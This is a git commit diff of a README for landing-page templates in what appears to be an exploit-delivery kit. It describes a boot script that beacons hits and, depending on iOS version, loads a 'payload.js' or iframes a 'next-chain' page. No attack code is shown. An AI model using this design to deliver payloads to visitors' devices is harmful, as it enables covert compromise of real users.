feat: old channel

This commit is contained in:
hashbro
2026-10-07 05:19:52 +08:00
parent 2d3b6e1f2c
commit ba5d3c5731
30 changed files with 1517 additions and 896 deletions
@@ -1,10 +1,14 @@
# support.html templates
Build-time choices for `web/support.html` (`--support-template` / API `support_template`):
Landing HTML only loads same-directory `index.js`. Routing, `/t.js` beacon, and iOS 18 DS iframe live in the published boot `index.js` (payload is `payload.js`). HTML does not inline the hit beacon.
| Name | Source | Description |
|------|--------|-------------|
| `test` | campaign copy under `source/web/support.html` | Current lab HUD progress UI |
| `blank` | `blank.html` | Loader scripts only, no HUD UI |
| `blank` | `blank.html` (default campaign `source/web/support.html`) | `<script src="index.js">` only |
| `test` | `test.html` | Lab HUD + the same `index.js` |
Default is `test`.
Both iframe landing and third-party `<script src="./index.js">` share that boot:
- iOS < 18 / unknown: load same-directory `payload.js`
- iOS 18: iframe `__DS_DOMAIN__/next-chain/frame.html?c=<channel>`
- iOS 19+ / 26+: no action